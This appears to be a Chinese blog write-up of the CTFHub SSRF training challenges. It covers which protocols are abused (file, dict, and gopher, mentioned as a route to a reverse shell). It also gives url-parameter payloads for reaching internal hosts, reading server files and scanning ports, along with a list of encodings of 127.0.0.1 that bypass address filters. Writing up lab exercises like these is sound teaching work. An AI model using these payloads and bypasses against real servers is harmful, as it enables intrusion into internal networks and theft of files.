CTFHub web技能树 SSRF

主要的几个协议

  • file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
  • http/s协议:探测内网主机存活
  • dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
  • gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
     

内网访问

/?url=127.0.0.1/flag.php

伪协议读取文件

网站的目录一般都在/var/www/html/,因此我们直接使用file伪协议访问flag.php就可以了

/?url=file:///var/www/html/flag.php

 [WEB安全]SSRF中URL的伪协议 - 肖洋肖恩、 - 博客园

端口扫描

来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦

/?url=127.0.0.1:8277

POST请求 

 这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

完全是跟着wp来,还没抄出来

/?url=file:///var/www/html/flag.php 

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

/?url=127.0.0.1/flag.php 

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=19809c8d2c5323fc33abe62d401e86c4-->
</form>

上传文件 

URL Bypass

请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

这里也算是一个小知识吧,http://www.baidu.com@127.0.0.1/与http://127.0.0.1请求的都是127.0.0.1的内容,既然他要求http://notfound.ctfhub.com开始,那么?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

数字IP Bypass 

不能使用127.0.0.1了

127.0.0.1绕过-进制转换

十进制 2130706433

八进制 017700000001

二进制 0b1111111000000000000000000000001 
十六进制 0x7f000001

其他方式 

http://localhost/       # localhost就是代指127.0.0.1
http://0/               # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/    # 在liunx下可用,window测试了下不行
http://[::]:80/           # 在liunx下可用,window测试了下不行
http://127。0。0。1/       # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1

302跳转 Bypass

用一些绕过127.0.0.1的方式这题就出来了、

/?url=localhost/flag.php

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值